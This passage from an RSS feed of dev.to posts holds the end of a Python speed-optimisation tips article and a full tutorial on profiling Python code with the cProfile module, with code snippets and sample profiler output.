&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Using list comprehension
squares = [x**2 for x in range(10)]

# Traditional loop
squares = []
for x in range(10):
    squares.append(x**2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Local Variables
&lt;/h2&gt;

&lt;p&gt;Accessing local variables is faster than accessing global variables in Python. If a variable is used frequently in a function, it's better to pass it as a parameter to make it local.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def my_function(x):
    local_var = x**2
    # rest of the function using local_var
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Use Sets and Dictionaries for Membership Tests
&lt;/h2&gt;

&lt;p&gt;If you need to test whether an item is in a collection, it's faster to use a set or a dictionary (which are based on hash tables) instead of a list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Slow
my_list = list(range(1000000))
500000 in my_list

# Fast
my_set = set(range(1000000))
500000 in my_set
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. Use NumPy/SciPy for Numerical Tasks
&lt;/h2&gt;

&lt;p&gt;For numerical tasks, libraries like NumPy or SciPy are not only more convenient, but they're also faster than using Python's built-in data structures. These libraries are implemented in C and provide a great speed improvement.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import numpy as np

# Fast vectorized operation
nums = np.array(range(1000000))
squares = nums ** 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Use JIT Compiler
&lt;/h2&gt;

&lt;p&gt;A Just-In-Time (JIT) compiler translates bytecode to machine code at runtime, and can provide significant speed improvements. PyPy is an example of a JIT compiler for Python.&lt;/p&gt;

&lt;p&gt;PyPy can be a drop-in replacement for Python in many cases, providing speed-ups with no changes to the code. However, it's important to note that there are some differences between PyPy and Python, and not all Python libraries are compatible with PyPy.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Profiling
&lt;/h2&gt;

&lt;p&gt;Before optimizing your code, it's important to know where the bottlenecks are. The built-in cProfile module can help with this. It provides a way to analyze your code and see where the most time is spent.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import cProfile

def slow_function():
    total = 0
    for i in range(1000000):
        total += i**2
    return total

cProfile.run('slow_function()')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will give you an output showing how many times each function was called, and how long it took.&lt;/p&gt;

&lt;p&gt;You can refer to my previous post on profiling &lt;a href="https://dev.to/aissageek/profiling-your-python-code-with-cprofile-3nb5"&gt;Profiling Your Python Code with cProfile&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Optimizing Python code can sometimes make the code less readable, so it's important to balance the need for speed with maintaining clear and maintainable code. Always test your changes to make sure you're actually improving the speed and not introducing any bugs.&lt;/p&gt;

&lt;p&gt;Remember, the fastest code is the code that never runs. If you can optimize your algorithms or data structures to reduce the amount of processing, this will give you the biggest speed improvements.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>python</category>
      <category>optimization</category>
      <category>learning</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Profiling Your Python Code with cProfile</title>
      <dc:creator>AissaGeek</dc:creator>
      <pubDate>Thu, 13 Jul 2023 12:05:32 +0000</pubDate>
      <link>https://dev.to/aissageek/profiling-your-python-code-with-cprofile-3nb5</link>
      <guid>https://dev.to/aissageek/profiling-your-python-code-with-cprofile-3nb5</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Python is a flexible, powerful programming language, but like any tool, it's not always the fastest option for a given task. Thankfully, Python provides tools that can help you to understand where your code is spending its time. One of the most useful tools for this is cProfile, a built-in module that provides deterministic profiling of Python programs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Profiling?
&lt;/h2&gt;

&lt;p&gt;Before we delve into the details of cProfile, it is essential to understand what profiling means in the context of programming. Profiling is a form of dynamic program analysis that measures the complexity of a program. The purpose of profiling is to find bottlenecks in the code, i.e., areas where the code execution takes longer than expected or necessary. The data gathered from profiling can help programmers optimize their code.&lt;/p&gt;

&lt;h2&gt;
  
  
  cProfile Module
&lt;/h2&gt;

&lt;p&gt;cProfile is a built-in Python module for profiling Python programs. It has a minimal performance overhead and provides a detailed report of the time spent in each function in your code. Here is how you can use it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import cProfile
import your_module

cProfile.run('your_module.your_function()')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After running the above lines, you will get an output that includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The number of calls to each function.&lt;/li&gt;
&lt;li&gt;The total time spent in each function.&lt;/li&gt;
&lt;li&gt;The cumulative time spent in each function.&lt;/li&gt;
&lt;li&gt;The per-call time for each function (total and cumulative).&lt;/li&gt;
&lt;li&gt;Interpreting cProfile's Output&lt;/li&gt;
&lt;li&gt;Interpreting cProfile's output can seem daunting, but it's relatively straightforward once you know what you're looking at.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;See the output below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;20003 function calls in 0.007 seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1    0.000    0.000    0.007    0.007 &amp;lt;ipython-input-23-a34e1e45565e&amp;gt;:1(your_function)
     10000    0.005    0.000    0.005    0.000 {built-in method builtins.len}
     10000    0.002    0.000    0.002    0.000 {method 'append' of 'list' objects}
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, "ncalls" is the number of calls to the function, "tottime" is the total time spent in the function without considering calls to sub-functions, "cumtime" is the total time spent in the function, including sub-functions, and "percall" is the average time spent per call.&lt;/p&gt;

&lt;h2&gt;
  
  
  Profiling A Python Script
&lt;/h2&gt;

&lt;p&gt;You can also profile an entire script by using the following command on the terminal:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;python -m cProfile your_script.py&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Visualizing Profiling Results
&lt;/h2&gt;

&lt;p&gt;While cProfile's output can be helpful, it's often easier to understand the results by visualizing them. Python provides various tools for this task, such as SnakeViz, Py-Spy, and gprof2dot.&lt;/p&gt;

&lt;p&gt;For example, to visualize the results using SnakeViz, you can do:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;python -m cProfile -o output.pstats your_script.py snakeviz output.pstats&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;cProfile is an extremely powerful tool for understanding where your Python code is spending its time. By using it, you can easily identify the parts of your code that are slowing down your application and focus your optimization efforts effectively. Profiling should be part of every Python programmer's toolkit - so &lt;strong&gt;start profiling today!&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Follow up for more, your support makes me high :D&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>python</category>
      <category>cpython</category>
      <category>tutorial</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
